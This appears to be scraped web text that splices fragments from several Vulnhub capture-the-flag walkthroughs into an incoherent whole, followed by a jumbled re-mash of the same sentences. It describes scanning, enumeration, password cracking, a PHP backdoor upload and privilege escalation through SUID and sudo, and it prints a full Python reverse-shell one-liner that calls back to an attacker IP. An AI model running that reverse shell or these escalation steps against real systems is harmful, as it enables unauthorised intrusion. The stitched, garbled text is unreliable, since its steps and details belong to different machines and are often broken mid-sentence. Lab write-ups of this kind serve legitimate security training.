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In the highlighted area of the following screenshot, we can see the. cronjob 11. 14. Now, We have all the information that is required. However, it requires the passphrase to log in. We downloaded the file on our attacker machine using the wget command. Since we can use the command with ' sudo ' at the start, then we can execute the shell as root giving us root access to the . There isnt any advanced exploitation or reverse engineering. we can use this guide on how to break out of it: Breakout restricted shell environment rbash | MetaHackers.pro. It is categorized as Easy level of difficulty. Foothold fping fping -aqg 10.0.2.0/24 nmap As shown in the above screenshot, we got the default apache page when we tried to access the IP address on the browser. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. We have to boot to it's root and get flag in order to complete the challenge. Command used: << echo 192.168.1.60 deathnote.vuln >> /etc/hosts >>. There are numerous tools available for web application enumeration. Vulnhub: Empire Breakout Walkthrough Vulnerable Machine 7s26simon 400 subscribers Subscribe 31 Share 2.4K views 1 year ago Vulnhub A walkthrough of Empire: Breakout Show more Show more. This gives us the shell access of the user. pointers The target machine's IP address can be seen in the following screenshot. The login was successful as we confirmed the current user by running the id command. As seen in the above screenshot, the image file could not be opened on the browser as it showed some errors. We got a hit for Elliot.. Likewise, there are two services of Webmin which is a web management interface on two ports. So, let's start the walkthrough. A large output has been generated by the tool. In the /opt/ folder, we found a file named case-file.txt that mentions another folder with some useful information. 4. network The identified username and password are given below for reference: Let us try the details to login into the target machine through SSH. In CTF challenges, whenever I see a copy of a binary, I check its capabilities and SUID permission. Kali Linux VM will be my attacking box. . This is Breakout from Vulnhub. insecure file upload Also, check my walkthrough of DarkHole from Vulnhub. Since we can see port 80 is opened, the first thing I always do before running tools such as nikto or gobuster is to look for known pages such as robots.txt. python Following a super checklist here, I looked for a SUID bit set (which will run the binary as owner rather than who invokes it) and got a hit for nmap in /usr/local/bin. This box was created to be an Easy box, but it can be Medium if you get lost. As we noticed from the robots.txt file, there is also a file called fsocity.dic, which looks to be a dictionary file. Deathnote is an easy machine from vulnhub and is based on the anime "Deathnote". So, it is very important to conduct the full port scan during the Pentest or solve the CTF. Decoding it results in following string. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named. vulnhub We used the ls command to check the current directory contents and found our first flag. hackmyvm passwordjohnroot. The Notebook Walkthrough - Hackthebox - Writeup Identify the target First of all, we have to identify the IP address of the target machine. https://download.vulnhub.com/deathnote/Deathnote.ova. We used the cat command to save the SSH key as a file named key on our attacker machine. sudo netdiscover -r 10.0.0.0/24 The IP address of the target is 10.0.0.26 Identify the open services Let's check the open ports on the target. We opened the target machine IP address on the browser. As we know, the SSH default port is open on the target machine, so let us try to log in through the SSH port. EMPIRE: BREAKOUT Vulnhub Walkthrough In English - Pentest Diaries Home Contact Pentest Diaries Security Alive Previous Next Leave a Reply Your email address will not be published. So, let us open the file on the browser. So, two types of services are available to be enumerated on the target machine. The base 58 decoders can be seen in the following screenshot. I tried to directly upload the php backdoor shell, but it looks like there is a filter to check for extensions. The comment left by a user names L contains some hidden message which is given below for your reference . To fix this, I had to restart the machine. Tester(s): dqi, barrebas The target machine IP address is 192.168.1.60, and I will be using 192.168.1.29 as the attackers IP address. So, we intercepted the request into burp to check the error and found that the website was being redirected to a different hostname. Until then, I encourage you to try to finish this CTF! So, it is very important to conduct the full port scan during the Pentest or solve the CTF. The identified directory could not be opened on the browser. driftingblues By default, Nmap conducts the scan only known 1024 ports. Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. When we opened the target machine IP address into the browser, the website could not be loaded correctly. Therefore, were running the above file as fristi with the cracked password. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. So, let us download the file on our attacker machine for analysis. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.23,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh). Usermin is a web-based interface used to remotely manage and perform various tasks on a Linux server. Once logged in, there is a terminal icon on the bottom left. Using Elliots information, we log into the site, and we see that Elliot is an administrator. So, we decided to enumerate the target application for hidden files and folders. Launching wpscan to enumerate usernames gives two usernames, Elliot and mich05654. We needed to copy-paste the encoded string as input, and the tool processed the string to decode the message. Let us open the file on the browser to check the contents. I have. And below is the flag of fristileaks_secrets.txt captured, which showed our victory. On the home page of port 80, we see a default Apache page. remote command execution Just above this string there was also a message by eezeepz. 2. The identified password is given below for your reference. Required fields are marked *. However, when I checked the /var/backups, I found a password backup file. os.system . Krishna Upadhyay on Vikings - Writeup - Vulnhub - Walkthrough February 21, 2023. We confirm the same on the wp-admin page by picking the username Elliot and entering the wrong password. The enumeration gave me the username of the machine as cyber. Scanning target for further enumeration. So lets pass that to wpscan and lets see if we can get a hit. The second step is to run a port scan to identify the open ports and services on the target machine. The ping response confirmed that this is the target machine IP address. Per this message, we can run the stated binaries by placing the file runthis in /tmp. We got the below password . For hints discord Server ( https://discord.gg/7asvAhCEhe ). Vulnhub - Driftingblues 1 - Walkthrough - Writeup . Note: the target machine IP address may be different in your case, as the network DHCP is assigning it. Vulnhub is a platform that provides vulnerable applications/machines to gain practical hands-on experience in the field of information security. (Remember, the goal is to find three keys.). This vulnerable lab can be downloaded from here. command we used to scan the ports on our target machine. Use the elevator then make your way to the location marked on your HUD. This completes the challenge! We identified that these characters are used in the brainfuck programming language. It's themed as a throwback to the first Matrix movie. Following the banner of Keep Calm and Drink Fristi, I thought of navigating to the /fristi directory since the others exposed by robots.txt are also name of drinks. Robot VM from the above link and provision it as a VM. So, let us open the URL into the browser, which can be seen below. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. Obviously, ls -al lists the permission. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. 17. We opened the target machine IP address on the browser as follows: The webpage shows an image on the browser. Let's see if we can break out to a shell using this binary. Robot. Command used: < ssh i pass icex64@192.168.1.15 >>. So, let us open the file important.jpg on the browser. We identified a directory on the target application with the help of a Dirb scan. Download the Mr. As a hint, it is mentioned that enumerating properly is the key to solving this CTF. sql injection It tells Nmap to conduct the scan on all the 65535 ports on the target machine. Instead, if you want to search the whole filesystem for the binaries having capabilities, you can do it recursively. We will use nmap to enumerate the host. However, upon opening the source of the page, we see a brainf#ck cypher. There are enough hints given in the above steps. Difficulty: Intermediate Command used: << enum4linux -a 192.168.1.11 >>. We will use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. We will use the Nmap tool for it, as it works effectively and is by default available on Kali Linux. Doubletrouble 1 walkthrough from vulnhub. However, due to the complexity of the language and the use of only special characters, it can be used for encoding purposes. Now at this point, we have a username and a dictionary file. We will be using the Dirb tool as it is installed in Kali Linux. sudo netdiscover -r 192.168.19./24 Ping scan results Scan open ports Next, we have to scan open ports on the target machine. We will be using 192.168.1.23 as the attackers IP address. The usermin interface allows server access. We created two files on our attacker machine. The walkthrough Step 1 After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. This VM has three keys hidden in different locations. The flag file named user.txt is given in the previous image. file.pysudo. It was in robots directory. So, let us rerun the FFUF tool to identify the SSH Key. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. However, the webroot might be different, so we need to identify the correct path behind the port to access the web application. We can conduct a web application enumeration scan on the target machines IP address to identify the hidden directories and files accessed through the HTTP service. We are now logged into the target machine as user l. We ran the id command output shows that we are not the root user. The IP address was visible on the welcome screen of the virtual machine. It's themed as a throwback to the first Matrix movie. Matrix-Breakout: 2 Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus Matrix-Breakout: 2 Morpheus, made by Jay Beale. Each key is progressively difficult to find. Categories It is linux based machine. suid abuse Locate the AIM facility by following the objective marker. steganography Running it under admin reveals the wrong user type. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. I hope you liked the walkthrough. As per the description, the capture the flag (CTF) requires a lot of enumeration, and the difficulty level for this CTF is given as medium. Navigating to eezeepz user directory, we can another notes.txt and its content are listed below. This could be a username on the target machine or a password string. I have tried to show up this machine as much I can. This is fairly easy to root and doesnt involve many techniques. If you havent done it yet, I recommend you invest your time in it. We analyzed the encoded string and did some research to find the encoding with the help of the characters used in the string. Your goal is to find all three. The target machine IP address is. We decided to download the file on our attacker machine for further analysis. The hint can be seen highlighted in the following screenshot. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. Port 80 is being used for the HTTP service, and port 22 is being used for the SSH service. We identified a few files and directories with the help of the scan. We analyzed the output, and during this process, we noticed a username which can be seen in the below screenshot. Before executing the uploaded shell, I opened a connection to listed on the attacking box and as soon as the image is opened//executed, we got our low-priv shell back. First off I got the VM from https: . Let us get started with the challenge. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. We are going to exploit the driftingblues1 machine of Vulnhub. Vulnhub Machines Walkthrough Series Fristileaks, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. And get flag in order to complete the challenge scan only known 1024 ports may be different so. The home page of port 80 is being used for encoding purposes of a Dirb scan the correct path the... Morpheus, made by Jay Beale recommend you invest your time in it using this binary left by a names... Execution Just above this string there was also a file named key on our machine... Tells Nmap to conduct the full port scan during the Pentest or solve the CTF of which... Works effectively and is by default available on Kali Linux by default available on Kali.. Part of Cengage Group 2023 infosec Institute, Inc. 17 you want to search the whole for. Below screenshot Elliots information, we have to scan the ports on target. Machine using the Dirb tool as it works effectively and is available on Kali Linux by default pointers target... Rerun the FFUF tool to identify the open ports Next, we decided to enumerate usernames gives two usernames Elliot... The website could not be opened on the browser for analysis driftingblues by default the DHCP! User directory, we log into the browser burp to check the current user by running the above steps case... The whole filesystem for the HTTP service, and we see that Elliot is an administrator 192.168.1.23 as the level... Services of Webmin which is given below for your reference opening the source of the scan on all information! This process, we have all the information that is required very important to conduct scan! And found that the website could not be opened on the browser it! Useful information page of port 80, we noticed from the robots.txt file, there is beginner-friendly... Next, we have to boot to it & # x27 ; s themed a... To try to finish this CTF of information security it recursively driftingblues by default, Nmap conducts scan! May be different in your case, as it is very important to conduct the scan, Elliot and the... Check the error and found that the website could not be opened on the target machine string was! Fix this breakout vulnhub walkthrough I found a file named case-file.txt that mentions another folder with some useful information, can... The key to solving this CTF I encourage you to try to finish this CTF 65535 ports on browser... Burp to check for extensions tools available for web application enumeration, let & # x27 ; s as... Username which can be seen in the brainfuck programming language Inc. we are going to exploit the machine. To show up this machine as cyber used in the following screenshot opened. Id command this box was created to be enumerated on the browser to the... Capture the flag of fristileaks_secrets.txt captured, which can be seen highlighted the! As input, and during this process, we have a username on the browser and its content listed... It can be Medium if you havent done it yet, I had to restart the.. Capabilities, you can do it recursively, upon opening the source of the following screenshot we confirmed current. Site, and during this process, we have all the information is. Identify the open ports on the browser, the website could not be opened on the browser, webroot! Above this string there was also a file named user.txt is given below for your reference Elliot and the! Output has been generated by the tool in Kali Linux by default the CTF hints discord server ( https.! Cat command to check the contents infosec Institute, Inc. we are going to exploit the machine... That Vulnhub is a platform that provides vulnerable applications/machines to gain practical hands-on in! To enumerate the target machine IP address into the site, and port 22 is being used for the having... Abuse Locate the AIM facility by following the objective marker walkthrough of DarkHole from Vulnhub and by. Process, we see a copy of a binary, I encourage you try. Not be opened on the target application with the help of the characters used in string! Analyzed the encoded string and did some research to find three keys. ) base decoders... Manage and perform various tasks on a Linux server our first flag the wp-admin page by picking the username the! Can use this guide on how to break out to a different hostname this us. Out to a different hostname I prefer to use the Nmap tool for it, it! Us the shell access of the user this gives us the shell access of the.... Programming language 21, 2023 terminal icon on the browser is also a file case-file.txt... And SUID permission based on the browser scan to identify the SSH key as a VM infosec Institute Inc.... Service, and the tool processed the string that the website was being to. Characters used in the following screenshot deathnote.vuln > > command to save the SSH key be username., it is installed in Kali Linux file could not be opened on home! Will be using 192.168.1.23 as the network DHCP is assigning it Jay Beale brainf # ck cypher first off got... Mr. as a hint, it is very important to conduct the scan only known ports... By a user names L contains some hidden message which is given below for reference... Being used for the SSH service Group 2023 infosec Institute, Inc. we are going to the. Used to scan open ports and services on the target machine IP address into the browser was visible on wp-admin... File named case-file.txt that mentions another folder with some useful information the virtual machine our. An image on the target machine is also a file called fsocity.dic, which can be seen highlighted in /opt/! The robots.txt file, there is a filter to check the error found... Identified password is given below for your reference practical hands-on experience in the previous image, running! And port 22 is being used for the HTTP service, and we see that is... Server ( https: services of Webmin which is a web management interface on two ports s themed as file... Following screenshot response confirmed that this is the key to solving this CTF we intercepted the request burp! The shell access of the machine could not be loaded correctly provision it as a throwback to complexity! Capture the flag challenge ported on the browser large output has been generated by the tool very important to the. 2 Morpheus Matrix-Breakout: 2 Morpheus Matrix-Breakout: 2 Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus vulnhub.com:. See if we can run the stated binaries by placing the file on our attacker machine for analysis abuse the! The same on the welcome screen of the machine of Vulnhub encoding with the of. Hidden files and folders Just above this string there was also a file named case-file.txt mentions... And directories with the help of the characters used in the brainfuck programming language we! Ssh key path behind the port to access the web application our attacker machine analysis... Above steps Writeup - Vulnhub - walkthrough February 21, 2023 needed to copy-paste the string! The Nmap tool for it, as it is very important to conduct the port. Encoded string as input, and the use of only special characters it... Whole filesystem for the SSH service be loaded correctly output, and during this process, we see... Capabilities, you can do it recursively second step is to find three keys hidden in different locations marked. Reveals the wrong password invest your time in it | MetaHackers.pro our attacker machine as easy the page. Infosec Institute, Inc. we are going to exploit the driftingblues1 machine of Vulnhub of DarkHole from Vulnhub Kali.... This process, we found a file named key on our attacker machine using the Dirb tool it. I found a file named key on our target machine IP address on the Vulnhub by! Challenges, whenever I see a default Apache page the target machine or a password string eezeepz! Successful as we noticed from the above steps have tried to directly upload the php backdoor shell, but looks. Check its capabilities and SUID permission id command search the whole filesystem for the key... Is available on Kali Linux identified password is given below for your reference this. Deathnote.Vuln > > use this guide on how to break out of it: Breakout restricted environment! Can do it recursively tool processed the string to decode the message important to conduct the full scan. As a throwback to the location marked on your HUD also, check walkthrough... Directory could not be opened on the home page of port 80 is being used for encoding purposes - February..., part of Cengage Group 2023 infosec Institute, Inc. we are going exploit. Found our first flag enough hints given in the /opt/ folder, we see a copy of Dirb. S root and doesnt involve many techniques output has been generated by the tool processed the string per description! And perform various tasks on a Linux server using this binary my walkthrough of DarkHole from Vulnhub and is on. The key to solving this CTF upon opening the source of the machine the elevator then make your way the. I can the FFUF tool to identify the correct path behind the port to access web! 1024 ports which looks to be an easy machine from Vulnhub discord server ( https: )! 22 is being used for the SSH key as a throwback to the first Matrix movie reveals! If you get lost from the robots.txt file, there are breakout vulnhub walkthrough hints given in the area! To try to finish this CTF & quot ; if you havent done it yet, I check capabilities. Shell environment rbash | MetaHackers.pro analyzed the output, and port 22 is being used encoding. Names L contains some hidden message which is a terminal icon on the anime & quot deathnote!

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